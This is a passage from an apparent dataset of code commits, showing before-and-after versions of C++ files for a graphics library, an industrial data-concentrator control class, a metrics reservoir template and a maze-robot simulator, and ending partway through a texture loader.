http:\/\/mozilla.org\/MPL\/2.0\/.\n *\n * \\author Kevin Rogovin <kevin.rogovin@intel.com>\n *\n *\/\n\n\n#pragma once\n\n#include <fastuidraw\/util\/reference_counted.hpp>\n#include <fastuidraw\/painter\/painter_value.hpp>\n#include <fastuidraw\/painter\/painter_stroke_shader.hpp>\n#include <fastuidraw\/painter\/painter_enums.hpp>\n\nnamespace fastuidraw\n{\n\/*!\\addtogroup Painter\n @{\n *\/\n\n \/*!\n A DashEvaluator is used by Painter to realize the\n data to send to a PainterPacker for the purpose\n of dashed stroking.\n *\/\n class DashEvaluator:\n public reference_counted<DashEvaluator>::default_base\n {\n public:\n \/*!\n To be implemented by a derived class to return the distance\n to the next dash boundary. A negative return value indicates\n that the location passed is not drawn when dashed and a\n positive indicates it is.\n \\param data PainterItemShaderData::DataBase object holding the data to\n be sent to the shader\n \\param distance the distance to use to compute the return value\n *\/\n virtual\n float\n signed_distance_to_next_dash_boundary(const PainterShaderData::DataBase *data,\n float distance) const;\n };\n\n \/*!\n A PainterDashedStrokeShaderSet holds a collection of\n PainterStrokeShaderSet objects for the purpose of\n dashed stroking. The shaders within a\n PainterDashedStrokeShaderSet are expected to draw\n any caps of dashed stroking from using just the edge\n data. In particular, attributes\/indices for caps are\n NEVER given to a shader within a PainterDashedStrokeShaderSet.\n *\/\n class PainterDashedStrokeShaderSet\n {\n public:\n \/*!\n Ctor\n *\/\n PainterDashedStrokeShaderSet(void);\n\n \/*!\n Copy ctor.\n *\/\n PainterDashedStrokeShaderSet(const PainterDashedStrokeShaderSet &obj);\n\n ~PainterDashedStrokeShaderSet();\n\n \/*!\n Assignment operator.\n *\/\n PainterDashedStrokeShaderSet&\n operator=(const PainterDashedStrokeShaderSet &rhs);\n\n \/*!\n Returns the DashEvaluator object to be used with\n the expected PainterItemShaderData passed to the\n PainterStrokeShader objects of this\n PainterDashedStrokeShaderSet.\n *\/\n const reference_counted_ptr<const DashEvaluator>&\n dash_evaluator(void) const;\n\n \/*!\n Set the value returned by dash_evaluator(void) const.\n Initial value is NULL.\n *\/\n PainterDashedStrokeShaderSet&\n dash_evaluator(const reference_counted_ptr<const DashEvaluator>&);\n\n \/*!\n Shader set for dashed stroking of paths where the stroking\n width is given in same units as the original path.\n The stroking parameters are given by PainterDashedStrokeParams.\n \\param st cap style\n *\/\n const PainterStrokeShader&\n shader(enum PainterEnums::dashed_cap_style st) const;\n\n \/*!\n Set the value returned by dashed_stroke_shader(enum PainterEnums::dashed_cap_style) const.\n \\param st cap style\n \\param sh value to use\n *\/\n PainterDashedStrokeShaderSet&\n shader(enum PainterEnums::dashed_cap_style st, const PainterStrokeShader &sh);\n\n private:\n void *m_d;\n };\n\n\/*! @} *\/\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\topendatacon\n *\n *\tCopyright (c) 2020:\n *\n *\t\tDCrip3fJguWgVCLrZFfA7sIGgvx1Ou3fHfCxnrz4svAi\n *\t\tyxeOtDhDCXf1Z4ApgXvX5ahqQmzRfJ2DoX8S05SqHA==\n *\n *\tLicensed under the Apache License, Version 2.0 (the \"License\");\n *\tyou may not use this file except in compliance with the License.\n *\tYou may obtain a copy of the License at\n *\n *\t\thttp:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *\tUnless required by applicable law or agreed to in writing, software\n *\tdistributed under the License is distributed on an \"AS IS\" BASIS,\n *\tWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *\tSee the License for the specific language governing permissions and\n *\tlimitations under the License.\n *\/\n\/*\n * BinaryControl.cpp\n *\n * Created on: 2021-02-08\n * A year of hope that pandemic will end soon\n * Author: Rakesh Kumar <cpp.rakesh@gmail.com>\n *\/\n\n#include \"BinaryControl.h\"\n\nvoid BinaryControl::CreateBinaryControl(std::size_t index,\n\tconst std::shared_ptr<odc::EventInfo>& on,\n\tconst std::shared_ptr<odc::EventInfo>& off,\n\tFeedbackMode mode,\n\tstd::size_t update_interval)\n{\n\t{ \/\/ for the scope of lock\n\t\tstd::unique_lock<std::shared_timed_mutex> lck(feedback_mutex);\n\t\tm_binary_feedbacks[index].emplace_back(std::make_shared<BinaryFeedback>(on, off, mode, update_interval));\n\t}\n\tif (!IsIndex(index))\n\t{\n\t\todc::EventTypePayload<odc::EventType::ControlRelayOutputBlock>::type payload;\n\t\tpayload.functionCode = odc::ControlCode::NUL;\n\t\tstd::shared_ptr<odc::EventInfo> control_event = std::make_shared<odc::EventInfo>(odc::EventType::ControlRelayOutputBlock, index, on->GetSourcePort(), odc::QualityFlags::COMM_LOST);\n\t\tcontrol_event->SetPayload<odc::EventType::ControlRelayOutputBlock>(std::move(payload));\n\t\tcontrol_event->SetTimestamp(0);\n\t\t{ \/\/ for the scope of the lock\n\t\t\tstd::unique_lock<std::shared_timed_mutex> lck(current_mutex);\n\t\t\tm_current_binary_events[index] = control_event;\n\t\t}\n\t}\n}\n\nstd::vector<std::shared_ptr<BinaryFeedback>> BinaryControl::BinaryFeedbacks(std::size_t index)\n{\n\tstd::shared_lock<std::shared_timed_mutex> lck(feedback_mutex);\n\tstd::vector<std::shared_ptr<BinaryFeedback>> feedback;\n\tif (m_binary_feedbacks.find(index) != m_binary_feedbacks.end())\n\t\tfeedback = m_binary_feedbacks[index];\n\treturn feedback;\n}\n\nvoid BinaryControl::CreateBinaryControl(std::size_t index,\n\tconst std::string& port_source,\n\todc::FeedbackType type,\n\tconst std::vector<std::size_t>& indexes,\n\tconst std::vector<odc::PositionAction>& action,\n\tstd::size_t lower_limit, std::size_t raise_limit)\n{\n\todc::EventTypePayload<odc::EventType::ControlRelayOutputBlock>::type payload;\n\tpayload.functionCode = odc::ControlCode::NUL;\n\tstd::shared_ptr<odc::EventInfo> control_event = std::make_shared<odc::EventInfo>(odc::EventType::ControlRelayOutputBlock, index, port_source, odc::QualityFlags::COMM_LOST);\n\tcontrol_event->SetPayload<odc::EventType::ControlRelayOutputBlock>(std::move(payload));\n\tcontrol_event->SetTimestamp(0);\n\t{ \/\/ scope of the lock\n\t\tstd::unique_lock<std::shared_timed_mutex> lck(position_mutex);\n\t\tm_binary_positions[index] = std::make_shared<BinaryPosition>(type, action, indexes, lower_limit, raise_limit);\n\t}\n\t{ \/\/ scope of the lock\n\t\tstd::unique_lock<std::shared_timed_mutex> lck(current_mutex);\n\t\tm_current_binary_events[index] = control_event;\n\t}\n}\n\nstd::shared_ptr<BinaryPosition> BinaryControl::GetBinaryPosition(std::size_t index)\n{\n\tstd::shared_lock<std::shared_timed_mutex> lck(position_mutex);\n\treturn m_binary_positions[index];\n}\n\nvoid BinaryControl::CreateBinaryControl(std::size_t index)\n{\n\tstd::unique_lock<std::shared_timed_mutex> lck(current_mutex);\n\tm_current_binary_events[index] = nullptr;\n}\n\nbool BinaryControl::IsIndex(std::size_t index)\n{\n\tstd::shared_lock<std::shared_timed_mutex> lck(current_mutex);\n\treturn m_current_binary_events.find(index) != m_current_binary_events.end();\n}\n\nvoid BinaryControl::SetCurrentBinaryEvent(const std::shared_ptr<odc::EventInfo>& event, std::size_t index)\n{\n\tstd::unique_lock<std::shared_timed_mutex> lck(current_mutex);\n\tm_current_binary_events[index] = event;\n}\n\nstd::shared_ptr<odc::EventInfo> BinaryControl::GetCurrentBinaryEvent(std::size_t index)\n{\n\tstd::shared_lock<std::shared_timed_mutex> lck(current_mutex);\n\treturn m_current_binary_events[index];\n}\n\n<commit_msg>initialise SimPort control status values not null<commit_after>\/*\topendatacon\n *\n *\tCopyright (c) 2020:\n *\n *\t\tDCrip3fJguWgVCLrZFfA7sIGgvx1Ou3fHfCxnrz4svAi\n *\t\tyxeOtDhDCXf1Z4ApgXvX5ahqQmzRfJ2DoX8S05SqHA==\n *\n *\tLicensed under the Apache License, Version 2.0 (the \"License\");\n *\tyou may not use this file except in compliance with the License.\n *\tYou may obtain a copy of the License at\n *\n *\t\thttp:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *\tUnless required by applicable law or agreed to in writing, software\n *\tdistributed under the License is distributed on an \"AS IS\" BASIS,\n *\tWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *\tSee the License for the specific language governing permissions and\n *\tlimitations under the License.\n *\/\n\/*\n * BinaryControl.cpp\n *\n * Created on: 2021-02-08\n * A year of hope that pandemic will end soon\n * Author: Rakesh Kumar <cpp.rakesh@gmail.com>\n *\/\n\n#include \"BinaryControl.h\"\n\nvoid BinaryControl::CreateBinaryControl(std::size_t index,\n\tconst std::shared_ptr<odc::EventInfo>& on,\n\tconst std::shared_ptr<odc::EventInfo>& off,\n\tFeedbackMode mode,\n\tstd::size_t update_interval)\n{\n\t{ \/\/ for the scope of lock\n\t\tstd::unique_lock<std::shared_timed_mutex> lck(feedback_mutex);\n\t\tm_binary_feedbacks[index].emplace_back(std::make_shared<BinaryFeedback>(on, off, mode, update_interval));\n\t}\n\tif (!IsIndex(index))\n\t{\n\t\todc::EventTypePayload<odc::EventType::ControlRelayOutputBlock>::type payload;\n\t\tpayload.functionCode = odc::ControlCode::NUL;\n\t\tstd::shared_ptr<odc::EventInfo> control_event = std::make_shared<odc::EventInfo>(odc::EventType::ControlRelayOutputBlock, index, on->GetSourcePort(), odc::QualityFlags::COMM_LOST);\n\t\tcontrol_event->SetPayload<odc::EventType::ControlRelayOutputBlock>(std::move(payload));\n\t\tcontrol_event->SetTimestamp(0);\n\t\t{ \/\/ for the scope of the lock\n\t\t\tstd::unique_lock<std::shared_timed_mutex> lck(current_mutex);\n\t\t\tm_current_binary_events[index] = control_event;\n\t\t}\n\t}\n}\n\nstd::vector<std::shared_ptr<BinaryFeedback>> BinaryControl::BinaryFeedbacks(std::size_t index)\n{\n\tstd::shared_lock<std::shared_timed_mutex> lck(feedback_mutex);\n\tstd::vector<std::shared_ptr<BinaryFeedback>> feedback;\n\tif (m_binary_feedbacks.find(index) != m_binary_feedbacks.end())\n\t\tfeedback = m_binary_feedbacks[index];\n\treturn feedback;\n}\n\nvoid BinaryControl::CreateBinaryControl(std::size_t index,\n\tconst std::string& port_source,\n\todc::FeedbackType type,\n\tconst std::vector<std::size_t>& indexes,\n\tconst std::vector<odc::PositionAction>& action,\n\tstd::size_t lower_limit, std::size_t raise_limit)\n{\n\todc::EventTypePayload<odc::EventType::ControlRelayOutputBlock>::type payload;\n\tpayload.functionCode = odc::ControlCode::NUL;\n\tstd::shared_ptr<odc::EventInfo> control_event = std::make_shared<odc::EventInfo>(odc::EventType::ControlRelayOutputBlock, index, port_source, odc::QualityFlags::COMM_LOST);\n\tcontrol_event->SetPayload<odc::EventType::ControlRelayOutputBlock>(std::move(payload));\n\tcontrol_event->SetTimestamp(0);\n\t{ \/\/ scope of the lock\n\t\tstd::unique_lock<std::shared_timed_mutex> lck(position_mutex);\n\t\tm_binary_positions[index] = std::make_shared<BinaryPosition>(type, action, indexes, lower_limit, raise_limit);\n\t}\n\t{ \/\/ scope of the lock\n\t\tstd::unique_lock<std::shared_timed_mutex> lck(current_mutex);\n\t\tm_current_binary_events[index] = control_event;\n\t}\n}\n\nstd::shared_ptr<BinaryPosition> BinaryControl::GetBinaryPosition(std::size_t index)\n{\n\tstd::shared_lock<std::shared_timed_mutex> lck(position_mutex);\n\treturn m_binary_positions[index];\n}\n\nvoid BinaryControl::CreateBinaryControl(std::size_t index)\n{\n\todc::EventTypePayload<odc::EventType::ControlRelayOutputBlock>::type payload;\n\tpayload.functionCode = odc::ControlCode::NUL;\n\tstd::shared_ptr<odc::EventInfo> control_event = std::make_shared<odc::EventInfo>(odc::EventType::ControlRelayOutputBlock, index, \"NULL\", odc::QualityFlags::COMM_LOST);\n\tcontrol_event->SetPayload<odc::EventType::ControlRelayOutputBlock>(std::move(payload));\n\tcontrol_event->SetTimestamp(0);\n\t{ \/\/ scope of the lock\n\t\tstd::unique_lock<std::shared_timed_mutex> lck(current_mutex);\n\t\tm_current_binary_events[index] = control_event;\n\t}\n}\n\nbool BinaryControl::IsIndex(std::size_t index)\n{\n\tstd::shared_lock<std::shared_timed_mutex> lck(current_mutex);\n\treturn m_current_binary_events.find(index) != m_current_binary_events.end();\n}\n\nvoid BinaryControl::SetCurrentBinaryEvent(const std::shared_ptr<odc::EventInfo>& event, std::size_t index)\n{\n\tstd::unique_lock<std::shared_timed_mutex> lck(current_mutex);\n\tm_current_binary_events[index] = event;\n}\n\nstd::shared_ptr<odc::EventInfo> BinaryControl::GetCurrentBinaryEvent(std::size_t index)\n{\n\tstd::shared_lock<std::shared_timed_mutex> lck(current_mutex);\n\treturn m_current_binary_events[index];\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n * File: ExponentiallyDecaying.hpp\n * Part of commonpp.\n *\n * Distributed under the 2-clause BSD licence (See LICENCE.TXT file at the\n * project root).\n *\n * Copyright (c) 2015 Thomas Sanchez. All rights reserved.\n *\n *\/\n#pragma once\n\n#include <algorithm>\n#include <random>\n#include <chrono>\n#include <mutex>\n#include <cmath>\n\n#include <map>\n\n#include <mutex>\n#include \"types.hpp\"\n\nnamespace commonpp\n{\nnamespace metric\n{\nnamespace reservoir\n{\n\n\/\/ Implementation from:\n\/\/ https:\/\/github.com\/dropwizard\/metrics\/blob\/master\/metrics-core\/src\/main\/java\/io\/dropwizard\/metrics\/ExponentiallyDecayingReservoir.java\n\ntemplate <size_t size_ = 1028,\n size_t alpha_time_1000 = 15,\n typename clock_ = std::chrono::system_clock,\n typename Mutex = std::mutex>\nclass ExponentiallyDecaying\n{\n\n template <typename K, typename V>\n using MapType = std::map<K, V>;\n\npublic:\n static const WeightedReservoirTag tag;\n\n static constexpr const double ALPHA = double(alpha_time_1000) * 0.001;\n using ElapsedTimeUnit = std::chrono::seconds;\n\n static constexpr const size_t MAX_SIZE = size_;\n using Clock = clock_;\n using Timepoint = typename Clock::time_point;\n using Weight = double;\n\n struct Sample\n {\n Weight weight;\n double value;\n };\n\n const std::chrono::hours RESCALE_INTERVAL{1};\n\npublic:\n ExponentiallyDecaying();\n ~ExponentiallyDecaying() = default;\n\n void pushValue(double value, Timepoint timepoint = Clock::now());\n\n template <typename Summary>\n auto visit() const -> decltype(Summary::createAccumulator(0, tag))\n {\n std::lock_guard<Mutex> lock(mutex_);\n auto acc = Summary::createAccumulator(size_unsafe(), tag);\n for (const auto& value : values_)\n {\n const auto& sample = value.second;\n acc(sample.weight, sample.value);\n }\n\n return acc;\n }\n\n size_t size() const;\n size_t size_unsafe() const;\n\nprivate:\n void rescale();\n static Weight weight(ElapsedTimeUnit duration);\n\nprivate:\n mutable Mutex mutex_;\n std::random_device random_;\n std::mt19937 gen_;\n std::uniform_real_distribution<> dis_;\n\n MapType<Weight, Sample> values_;\n Timepoint start_time_;\n Timepoint next_rescale_;\n};\n\ntemplate <size_t s, size_t a, typename c, typename m>\nExponentiallyDecaying<s, a, c, m>::ExponentiallyDecaying()\n: gen_(random_())\n, dis_(0, 1)\n{\n start_time_ = Clock::now();\n next_rescale_ = start_time_ + RESCALE_INTERVAL;\n}\n\ntemplate <size_t s, size_t a, typename c, typename m>\ntypename ExponentiallyDecaying<s, a, c, m>::Weight\nExponentiallyDecaying<s, a, c, m>::weight(ElapsedTimeUnit duration)\n{\n return ::exp(ALPHA * duration.count());\n}\n\ntemplate <size_t s, size_t a, typename c, typename m>\nsize_t ExponentiallyDecaying<s, a, c, m>::size() const\n{\n std::lock_guard<m> lock(mutex_);\n return values_.size();\n}\n\ntemplate <size_t s, size_t a, typename c, typename m>\nsize_t ExponentiallyDecaying<s, a, c, m>::size_unsafe() const\n{\n return values_.size();\n}\n\ntemplate <size_t s, size_t a, typename c, typename m>\nvoid ExponentiallyDecaying<s, a, c, m>::pushValue(double value, Timepoint timestamp)\n{\n std::lock_guard<m> lock(mutex_);\n rescale();\n\n auto elapsed_time =\n std::chrono::duration_cast<ElapsedTimeUnit>(timestamp - start_time_);\n Sample sample{weight(elapsed_time), value};\n double priority = sample.weight \/ dis_(gen_);\n\n auto new_size = values_.size() + 1;\n if (new_size <= MAX_SIZE)\n {\n values_[priority] = sample;\n }\n else\n {\n auto it_first = values_.begin();\n if (it_first->first < priority && values_.emplace(priority, sample).second)\n {\n values_.erase(it_first);\n }\n }\n}\n\ntemplate <size_t s, size_t a, typename c, typename m>\nvoid ExponentiallyDecaying<s, a, c, m>::rescale()\n{\n Timepoint now = Clock::now();\n\n if (now < next_rescale_)\n {\n return;\n }\n\n next_rescale_ = now + RESCALE_INTERVAL;\n auto old_start_time = start_time_;\n start_time_ = now;\n\n decltype(values_) values;\n values.swap(values_);\n\n const auto time =\n std::chrono::duration_cast<ElapsedTimeUnit>(start_time_ - old_start_time)\n .count();\n\n auto scale_factor = ::exp(-ALPHA * time);\n for (const auto& v : values)\n {\n auto key = v.first;\n auto const& sample = v.second;\n values_[key * scale_factor] = {sample.weight * scale_factor, sample.value};\n }\n}\n\n} \/\/ namespace reservoir\n} \/\/ namespace metric\n} \/\/ namespace commonpp\n<commit_msg>Instantiate static constant<commit_after>\/*\n * File: ExponentiallyDecaying.hpp\n * Part of commonpp.\n *\n * Distributed under the 2-clause BSD licence (See LICENCE.TXT file at the\n * project root).\n *\n * Copyright (c) 2015 Thomas Sanchez. All rights reserved.\n *\n *\/\n#pragma once\n\n#include <algorithm>\n#include <random>\n#include <chrono>\n#include <mutex>\n#include <cmath>\n\n#include <map>\n\n#include <mutex>\n#include \"types.hpp\"\n\nnamespace commonpp\n{\nnamespace metric\n{\nnamespace reservoir\n{\n\n\/\/ Implementation from:\n\/\/ https:\/\/github.com\/dropwizard\/metrics\/blob\/master\/metrics-core\/src\/main\/java\/io\/dropwizard\/metrics\/ExponentiallyDecayingReservoir.java\n\ntemplate <size_t size_ = 1028,\n size_t alpha_time_1000 = 15,\n typename clock_ = std::chrono::system_clock,\n typename Mutex = std::mutex>\nclass ExponentiallyDecaying\n{\n\n template <typename K, typename V>\n using MapType = std::map<K, V>;\n\npublic:\n static const WeightedReservoirTag tag;\n\n static constexpr const double ALPHA = double(alpha_time_1000) * 0.001;\n using ElapsedTimeUnit = std::chrono::seconds;\n\n static constexpr const size_t MAX_SIZE = size_;\n using Clock = clock_;\n using Timepoint = typename Clock::time_point;\n using Weight = double;\n\n struct Sample\n {\n Weight weight;\n double value;\n };\n\n const std::chrono::hours RESCALE_INTERVAL{1};\n\npublic:\n ExponentiallyDecaying();\n ~ExponentiallyDecaying() = default;\n\n void pushValue(double value, Timepoint timepoint = Clock::now());\n\n template <typename Summary>\n auto visit() const -> decltype(Summary::createAccumulator(0, tag))\n {\n std::lock_guard<Mutex> lock(mutex_);\n auto acc = Summary::createAccumulator(size_unsafe(), tag);\n for (const auto& value : values_)\n {\n const auto& sample = value.second;\n acc(sample.weight, sample.value);\n }\n\n return acc;\n }\n\n size_t size() const;\n size_t size_unsafe() const;\n\nprivate:\n void rescale();\n static Weight weight(ElapsedTimeUnit duration);\n\nprivate:\n mutable Mutex mutex_;\n std::random_device random_;\n std::mt19937 gen_;\n std::uniform_real_distribution<> dis_;\n\n MapType<Weight, Sample> values_;\n Timepoint start_time_;\n Timepoint next_rescale_;\n};\n\ntemplate <size_t s, size_t a, typename c, typename m>\nconst WeightedReservoirTag ExponentiallyDecaying<s, a, c, m>::tag = {};\n\ntemplate <size_t s, size_t a, typename c, typename m>\nExponentiallyDecaying<s, a, c, m>::ExponentiallyDecaying()\n: gen_(random_())\n, dis_(0, 1)\n{\n start_time_ = Clock::now();\n next_rescale_ = start_time_ + RESCALE_INTERVAL;\n}\n\ntemplate <size_t s, size_t a, typename c, typename m>\ntypename ExponentiallyDecaying<s, a, c, m>::Weight\nExponentiallyDecaying<s, a, c, m>::weight(ElapsedTimeUnit duration)\n{\n return ::exp(ALPHA * duration.count());\n}\n\ntemplate <size_t s, size_t a, typename c, typename m>\nsize_t ExponentiallyDecaying<s, a, c, m>::size() const\n{\n std::lock_guard<m> lock(mutex_);\n return values_.size();\n}\n\ntemplate <size_t s, size_t a, typename c, typename m>\nsize_t ExponentiallyDecaying<s, a, c, m>::size_unsafe() const\n{\n return values_.size();\n}\n\ntemplate <size_t s, size_t a, typename c, typename m>\nvoid ExponentiallyDecaying<s, a, c, m>::pushValue(double value, Timepoint timestamp)\n{\n std::lock_guard<m> lock(mutex_);\n rescale();\n\n auto elapsed_time =\n std::chrono::duration_cast<ElapsedTimeUnit>(timestamp - start_time_);\n Sample sample{weight(elapsed_time), value};\n double priority = sample.weight \/ dis_(gen_);\n\n auto new_size = values_.size() + 1;\n if (new_size <= MAX_SIZE)\n {\n values_[priority] = sample;\n }\n else\n {\n auto it_first = values_.begin();\n if (it_first->first < priority && values_.emplace(priority, sample).second)\n {\n values_.erase(it_first);\n }\n }\n}\n\ntemplate <size_t s, size_t a, typename c, typename m>\nvoid ExponentiallyDecaying<s, a, c, m>::rescale()\n{\n Timepoint now = Clock::now();\n\n if (now < next_rescale_)\n {\n return;\n }\n\n next_rescale_ = now + RESCALE_INTERVAL;\n auto old_start_time = start_time_;\n start_time_ = now;\n\n decltype(values_) values;\n values.swap(values_);\n\n const auto time =\n std::chrono::duration_cast<ElapsedTimeUnit>(start_time_ - old_start_time)\n .count();\n\n auto scale_factor = ::exp(-ALPHA * time);\n for (const auto& v : values)\n {\n auto key = v.first;\n auto const& sample = v.second;\n values_[key * scale_factor] = {sample.weight * scale_factor, sample.value};\n }\n}\n\n} \/\/ namespace reservoir\n} \/\/ namespace metric\n} \/\/ namespace commonpp\n<|endoftext|>"} {"text":"<commit_before>#ifndef VIRTUALROBOT_CPP\n#define VIRTUALROBOT_CPP\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <GL\/gl.h>\n#include <string.h>\n\nextern \"C\" {\n\t#include \"logic\/Robot.h\"\n\t#include \"logic\/MazeAlgorithm.h\"\n\t#include \"logic\/MazeMap.h\"\n}\n\n#include \"VirtualRobot.h\"\n#include \"Display.h\"\n\nVirtualRobot::VirtualRobot(VirtualMaze* virtualMaze)\n{\n\t\/\/ create the robot using a blank maze map\n\tMazeMap* robotMM = (MazeMap*)calloc(1, sizeof(MazeMap));\n\trobot = robot_create(0, 0, robotMM);\n\n\t\/\/ bind the robot maze map to the virtualmaze\n\tvirtualMaze->bindRobotMap(robotMM);\n\n\n\tint blockWidthPX = VirtualMaze::getBlockWidthPX();\n\n\tint x = robot->xPos * blockWidthPX + blockWidthPX\/2 - robotSizePX\/2;\n\tint y = robot->yPos * blockWidthPX + blockWidthPX\/2 - robotSizePX\/2;\n\n\tthis->rectangle = new Rectangle(x, y, robotSizePX, robotSizePX);\n\n\t\/\/ save the pointer to the virtual maze\n\tthis->virtualMaze = virtualMaze;\n\n\t\/\/ compute the flood fill\n\t\/\/malgo_floodfill_compute(virtualMaze->getMazeMap(), floodFillMap);\n\t\/\/\n\t\/\/robot->ffMap = floodFillMap;\n}\n\nvoid VirtualRobot::run() {\n\n\t\/\/ feed in the raw wall sensor input\n\tfeedSensorData();\n\n\t\/\/ run the robot drive code\n\trobot_run(robot);\n\n\t\/\/ calculate and update the new position\n\tint blockWidthPX = VirtualMaze::getBlockWidthPX();\n\tint offset = blockWidthPX \/ 2 - robotSizePX \/ 2;\n\n\tint newX = blockWidthPX * robot->xPos + offset;\n\tint newY = blockWidthPX * robot->yPos + offset;\n\trectangle->setPos(newX, newY);\n}\n\nvoid VirtualRobot::feedSensorData() {\n\t\/\/ get the full map\n\tMazeMap* virtualMap = virtualMaze->getMazeMap();\n\tint x = robot->xPos;\n\tint y = robot->yPos;\n\n\t\/\/ load in information about surroundings\n\tBOOL northWall = mazemap_does_wall_exist(virtualMap, x, y, NORTH);\n\tBOOL eastWall = mazemap_does_wall_exist(virtualMap, x, y, EAST);\n\tBOOL southWall = mazemap_does_wall_exist(virtualMap, x, y, SOUTH);\n\tBOOL westWall = mazemap_does_wall_exist(virtualMap, x, y, WEST);\n\n\t\/\/ plug the data from the virtual maze into the robot's maze map\n\tMazeMap* robotMap = robot->mazeMap;\n\tmazemap_set_wall(robotMap, northWall, x, y, NORTH);\n\tmazemap_set_wall(robotMap, eastWall, x, y, EAST);\n\tmazemap_set_wall(robotMap, southWall, x, y, SOUTH);\n\tmazemap_set_wall(robotMap, westWall, x, y, WEST);\n}\n\nvoid VirtualRobot::draw() {\n\t\/\/ draw the robot red\n\trectangle->draw(1.0f, 0.0f, 0.0f);\n\n\t\/\/ draw the flood fill\n\t\/\/ff_draw(robot->ffMap);\n\n}\n\nFFMapPtr VirtualRobot::getFloodFillMap() {\n\treturn robot->ffMap;\n}\n\nVirtualRobot::~VirtualRobot() {\n\t\/\/ destroy the robot\n\trobot_destroy(robot);\n}\n\n#endif\n<commit_msg>robot now yellow when exploring, red when solving VirtualRobot checks the robot->isExploring flag when drawing<commit_after>#ifndef VIRTUALROBOT_CPP\n#define VIRTUALROBOT_CPP\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <GL\/gl.h>\n#include <string.h>\n\nextern \"C\" {\n\t#include \"logic\/Robot.h\"\n\t#include \"logic\/MazeAlgorithm.h\"\n\t#include \"logic\/MazeMap.h\"\n}\n\n#include \"VirtualRobot.h\"\n#include \"Display.h\"\n\nVirtualRobot::VirtualRobot(VirtualMaze* virtualMaze)\n{\n\t\/\/ create the robot using a blank maze map\n\tMazeMap* robotMM = (MazeMap*)calloc(1, sizeof(MazeMap));\n\trobot = robot_create(0, 0, robotMM);\n\n\t\/\/ bind the robot maze map to the virtualmaze\n\tvirtualMaze->bindRobotMap(robotMM);\n\n\n\tint blockWidthPX = VirtualMaze::getBlockWidthPX();\n\n\tint x = robot->xPos * blockWidthPX + blockWidthPX\/2 - robotSizePX\/2;\n\tint y = robot->yPos * blockWidthPX + blockWidthPX\/2 - robotSizePX\/2;\n\n\tthis->rectangle = new Rectangle(x, y, robotSizePX, robotSizePX);\n\n\t\/\/ save the pointer to the virtual maze\n\tthis->virtualMaze = virtualMaze;\n\n\t\/\/ compute the flood fill\n\t\/\/malgo_floodfill_compute(virtualMaze->getMazeMap(), floodFillMap);\n\t\/\/\n\t\/\/robot->ffMap = floodFillMap;\n}\n\nvoid VirtualRobot::run() {\n\n\t\/\/ feed in the raw wall sensor input\n\tfeedSensorData();\n\n\t\/\/ run the robot drive code\n\trobot_run(robot);\n\n\t\/\/ calculate and update the new position\n\tint blockWidthPX = VirtualMaze::getBlockWidthPX();\n\tint offset = blockWidthPX \/ 2 - robotSizePX \/ 2;\n\n\tint newX = blockWidthPX * robot->xPos + offset;\n\tint newY = blockWidthPX * robot->yPos + offset;\n\trectangle->setPos(newX, newY);\n}\n\nvoid VirtualRobot::feedSensorData() {\n\t\/\/ get the full map\n\tMazeMap* virtualMap = virtualMaze->getMazeMap();\n\tint x = robot->xPos;\n\tint y = robot->yPos;\n\n\t\/\/ load in information about surroundings\n\tBOOL northWall = mazemap_does_wall_exist(virtualMap, x, y, NORTH);\n\tBOOL eastWall = mazemap_does_wall_exist(virtualMap, x, y, EAST);\n\tBOOL southWall = mazemap_does_wall_exist(virtualMap, x, y, SOUTH);\n\tBOOL westWall = mazemap_does_wall_exist(virtualMap, x, y, WEST);\n\n\t\/\/ plug the data from the virtual maze into the robot's maze map\n\tMazeMap* robotMap = robot->mazeMap;\n\tmazemap_set_wall(robotMap, northWall, x, y, NORTH);\n\tmazemap_set_wall(robotMap, eastWall, x, y, EAST);\n\tmazemap_set_wall(robotMap, southWall, x, y, SOUTH);\n\tmazemap_set_wall(robotMap, westWall, x, y, WEST);\n}\n\nvoid VirtualRobot::draw() {\n\t\/\/ draw the robot yellow if exploring, red if solving\n\tif (robot->isExploring) {\n\t\trectangle->draw(1.0f, 1.0f, 0.0f);\n\t}\n\telse {\n\t\trectangle->draw(1.0f, 0.0f, 0.0f);\n\t}\n}\n\nFFMapPtr VirtualRobot::getFloodFillMap() {\n\treturn robot->ffMap;\n}\n\nVirtualRobot::~VirtualRobot() {\n\t\/\/ destroy the robot\n\trobot_destroy(robot);\n}\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ open horizon -- undefined_darkness@outlook.com\n\/\/\n\n#include \"shared.h\"\n#include \"memory\/memory_reader.h\"\n#include \"memory\/tmp_buffer.h\"\n#include <assert.h>\n\nnamespace shared\n{\n\n\/\/------------------------------------------------------------\n\nnamespace\n{\n std::map<unsigned int,nya_scene::texture> textures;\n}\n\n\/\/------------------------------------------------------------\n\nvoid add_texture(unsigned int hash_id, const nya_scene::texture &tex)\n{\n textures[hash_id] = tex;\n}\n\n\/\/------------------------------------------------------------\n\nunsigned int load_texture(const char *name)\n{\n auto *res = nya_resources::get_resources_provider().access(name);\n if (!res)\n return 0;\n\n size_t size = res->get_size();\n nya_memory::tmp_buffer_scoped buf(size);\n res->read_all(buf.get_data());\n res->release();\n\n return load_texture(buf.get_data(), size);\n}\n\n\/\/------------------------------------------------------------\n\nunsigned int load_texture(const void *tex_data, size_t tex_size)\n{\n assert(tex_data && tex_size);\n\n nya_memory::memory_reader reader(tex_data,tex_size);\n reader.seek(48);\n int offset = reader.read<int>();\n reader.seek(offset + 8);\n auto hash_id = reader.read<unsigned int>();\n \/\/printf(\"%d\\n\", hash_id);\n reader.seek(offset + 16);\n\n if (reader.get_remained() < 128) \/\/normal for ntxr\n return hash_id;\n\/*\n if(hash_id > 1000000000) \/\/ToDo\n {\n unsigned int *mip_count = (unsigned int *)reader.get_data()+7;\n assert(*mip_count > 10);\n *mip_count = 5;\n }\n*\/\n nya_scene::shared_texture st;\n nya_scene::resource_data data(reader.get_remained());\n data.copy_from(reader.get_data(), reader.get_remained());\n nya_scene::texture::load_dds(st, data, \"\");\n data.free();\n nya_scene::texture tex;\n tex.create(st);\n shared::add_texture(hash_id, tex);\n\n return 